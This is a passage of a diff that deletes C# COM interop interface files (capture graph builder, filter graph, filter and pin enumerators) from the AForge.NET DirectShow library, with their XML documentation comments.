[PreserveSig]
|
||||
int QueryFilterInfo( [Out] out FilterInfo filterInfo );
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the filter that it has joined or left the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graph">Pointer to the Filter Graph Manager's <b>IFilterGraph</b> interface, or NULL
|
||||
/// if the filter is leaving the graph.</param>
|
||||
/// <param name="name">String that specifies a name for the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a string containing vendor information.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="vendorInfo">Receives a string containing the vendor information.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo );
|
||||
}
|
||||
}
|
@ -1,192 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface builds capture graphs and other custom filter graphs.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface ICaptureGraphBuilder2
|
||||
{
|
||||
/// <summary>
|
||||
/// Specify filter graph for the capture graph builder to use.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetFiltergraph( [In] IGraphBuilder graphBuilder );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve the filter graph that the builder is using.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFiltergraph( [Out] out IGraphBuilder graphBuilder );
|
||||
|
||||
/// <summary>
|
||||
/// Create file writing section of the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="type">GUID that represents either the media subtype of the output or the
|
||||
/// class identifier (CLSID) of a multiplexer filter or file writer filter.</param>
|
||||
/// <param name="fileName">Output file name.</param>
|
||||
/// <param name="baseFilter">Receives the multiplexer's <see cref="IBaseFilter"/> interface.</param>
|
||||
/// <param name="fileSinkFilter">Receives the file writer's IFileSinkFilter interface. Can be NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetOutputFileName(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[Out] out IBaseFilter baseFilter,
|
||||
[Out] out IntPtr fileSinkFilter
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Searche the graph for a specified interface, starting from a specified filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">GUID that specifies the search criteria.</param>
|
||||
/// <param name="type">GUID that specifies the major media type of an output pin, or NULL.</param>
|
||||
/// <param name="baseFilter"><see cref="IBaseFilter"/> interface of the filter. The method begins searching from this filter.</param>
|
||||
/// <param name="interfaceID">Interface identifier (IID) of the interface to locate.</param>
|
||||
/// <param name="retInterface">Receives found interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindInterface(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
|
||||
[In] IBaseFilter baseFilter,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID ,
|
||||
[Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Major-type GUID that specifies the media type of the output pin.</param>
|
||||
/// <param name="source">Starting filter for the connection.</param>
|
||||
/// <param name="compressor">Interface of an intermediate filter, such as a compression filter. Can be NULL.</param>
|
||||
/// <param name="renderer">Sink filter, such as a renderer or mux filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderStream(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
|
||||
[In] IBaseFilter compressor,
|
||||
[In] IBaseFilter renderer
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Set the start and stop times for one or more streams of captured data.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Major-type GUID that specifies the media type.</param>
|
||||
/// <param name="filter"><see cref="IBaseFilter"/> interface that specifies which filter to control.</param>
|
||||
/// <param name="start">Start time.</param>
|
||||
/// <param name="stop">Stop time.</param>
|
||||
/// <param name="startCookie">Value that is sent as the second parameter of the
|
||||
/// EC_STREAM_CONTROL_STARTED event notification.</param>
|
||||
/// <param name="stopCookie">Value that is sent as the second parameter of the
|
||||
/// EC_STREAM_CONTROL_STOPPED event notification.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ControlStream(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||
[In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter,
|
||||
[In] long start,
|
||||
[In] long stop,
|
||||
[In] short startCookie,
|
||||
[In] short stopCookie
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Preallocate a capture file to a specified size.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">File name to create or resize.</param>
|
||||
/// <param name="size">Size of the file to allocate, in bytes.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AllocCapFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[In] long size
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Copy the valid media data from a capture file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="oldFileName">Old file name.</param>
|
||||
/// <param name="newFileName">New file name.</param>
|
||||
/// <param name="allowEscAbort">Boolean value that specifies whether pressing the ESC key cancels the copy operation.</param>
|
||||
/// <param name="callback">IAMCopyCaptureFileProgress interface to display progress information, or NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CopyCaptureFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string newFileName,
|
||||
[In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort,
|
||||
[In] IntPtr callback
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="source">Interface on a filter, or to an interface on a pin.</param>
|
||||
/// <param name="pinDirection">Pin direction (input or output).</param>
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Media type.</param>
|
||||
/// <param name="unconnected">Boolean value that specifies whether the pin must be unconnected.</param>
|
||||
/// <param name="index">Zero-based index of the pin to retrieve, from the set of matching pins.</param>
|
||||
/// <param name="pin">Interface of the matching pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindPin(
|
||||
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
|
||||
[In] PinDirection pinDirection,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||
[In, MarshalAs( UnmanagedType.Bool )] bool unconnected,
|
||||
[In] int index,
|
||||
[Out, MarshalAs( UnmanagedType.Interface )] out IPin pin
|
||||
);
|
||||
}
|
||||
}
|
@ -1,37 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
/// <summary>
|
||||
/// The <b>ICreateDevEnum</b> interface creates an enumerator for devices within a particular category,
|
||||
/// such as video capture devices, audio capture devices, video compressors, and so forth.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface ICreateDevEnum
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a class enumerator for a specified device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="type">Specifies the class identifier of the device category.</param>
|
||||
/// <param name="enumMoniker">Address of a variable that receives an <b>IEnumMoniker</b> interface pointer</param>
|
||||
/// <param name="flags">Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags );
|
||||
}
|
||||
}
|
@ -1,71 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007-2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface is used by applications or other filters to determine
|
||||
/// what filters exist in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IEnumFilters
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the specified number of filters in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cFilters">Number of filters to retrieve.</param>
|
||||
/// <param name="filters">Array in which to place <see cref="IBaseFilter"/> interfaces.</param>
|
||||
/// <param name="filtersFetched">Actual number of filters placed in the array.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Next( [In] int cFilters,
|
||||
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters,
|
||||
[Out] out int filtersFetched );
|
||||
|
||||
/// <summary>
|
||||
/// Skips a specified number of filters in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cFilters">Number of filters to skip.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Skip( [In] int cFilters );
|
||||
|
||||
/// <summary>
|
||||
/// Resets the enumeration sequence to the beginning.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reset( );
|
||||
|
||||
/// <summary>
|
||||
/// Makes a copy of the enumerator with the same enumeration state.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumFilters">Duplicate of the enumerator.</param>
|
||||
///
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
///
|
||||
[PreserveSig]
|
||||
int Clone( [Out] out IEnumFilters enumFilters );
|
||||
}
|
||||
}
|
@ -1,68 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// Enumerates pins on a filter.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IEnumPins
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves a specified number of pins.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cPins">Number of pins to retrieve.</param>
|
||||
/// <param name="pins">Array of size <b>cPins</b> that is filled with <b>IPin</b> pointers.</param>
|
||||
/// <param name="pinsFetched">Receives the number of pins retrieved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Next( [In] int cPins,
|
||||
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins,
|
||||
[Out] out int pinsFetched );
|
||||
|
||||
/// <summary>
|
||||
/// Skips a specified number of pins in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cPins">Number of pins to skip.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Skip( [In] int cPins );
|
||||
|
||||
/// <summary>
|
||||
/// Resets the enumeration sequence to the beginning.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reset( );
|
||||
|
||||
/// <summary>
|
||||
/// Makes a copy of the enumerator with the same enumeration state.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumPins">Duplicate of the enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Clone( [Out] out IEnumPins enumPins );
|
||||
}
|
||||
}
|
@ -1,113 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface provides methods for building a filter graph. An application can use it to add filters to
|
||||
/// the graph, connect or disconnect filters, remove filters, and perform other basic operations.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IFilterGraph
|
||||
{
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter( [In] IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters( [Out] out IntPtr enumerator );
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource( );
|
||||
}
|
||||
}
|
@ -1,257 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
/// <summary>
|
||||
/// This interface extends the <see cref="IFilterGraph"/> and <see cref="IGraphBuilder"/>
|
||||
/// interfaces, which contain methods for building filter graphs.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"),
|
||||
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IFilterGraph2
|
||||
{
|
||||
// --- IFilterGraph Methods
|
||||
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter( [In] IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters( [Out] out IEnumFilters enumerator );
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource( );
|
||||
|
||||
// --- IGraphBuilder methods
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect( [In] IPin pinOut, [In] IPin pinIn );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a chain of filters to a specified output pin to render it.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Render( [In] IPin pinOut );
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||
/// <param name="playList">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string playList );
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph for a specific file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||
[Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hFile">Handle to the log file.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetLogFile( IntPtr hFile );
|
||||
|
||||
/// <summary>
|
||||
/// Requests that the graph builder return as soon as possible from its current task.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Abort( );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether the current operation should continue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ShouldOperationContinue( );
|
||||
|
||||
|
||||
// --- IFilterGraph2 methods
|
||||
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="moniker">Moniker interface.</param>
|
||||
/// <param name="bindContext">Bind context interface.</param>
|
||||
/// <param name="filterName">Name for the filter.</param>
|
||||
/// <param name="filter"> Receives source filter's IBaseFilter interface.
|
||||
/// The caller must release the interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilterForMoniker(
|
||||
[In] IMoniker moniker,
|
||||
[In] IBindCtx bindContext,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||
[Out] out IBaseFilter filter
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin,
|
||||
/// using a specified media type.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
/// <param name="mediaType">Media type to reconnect with.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ReconnectEx(
|
||||
[In] IPin pin,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Render an output pin, with an option to use existing renderers only.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPin">Interface of the output pin.</param>
|
||||
/// <param name="flags">Flag that specifies how to render the pin.</param>
|
||||
/// <param name="context">Reserved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderEx(
|
||||
[In] IPin outputPin,
|
||||
[In] int flags,
|
||||
[In] IntPtr context
|
||||
);
|
||||
|
||||
}
|
||||
}
|
@ -1,198 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface provides methods that enable an application to build a filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IGraphBuilder
|
||||
{
|
||||
// --- IFilterGraph Methods
|
||||
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter( [In] IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters( [Out] out IEnumFilters enumerator );
|
||||
|
||||
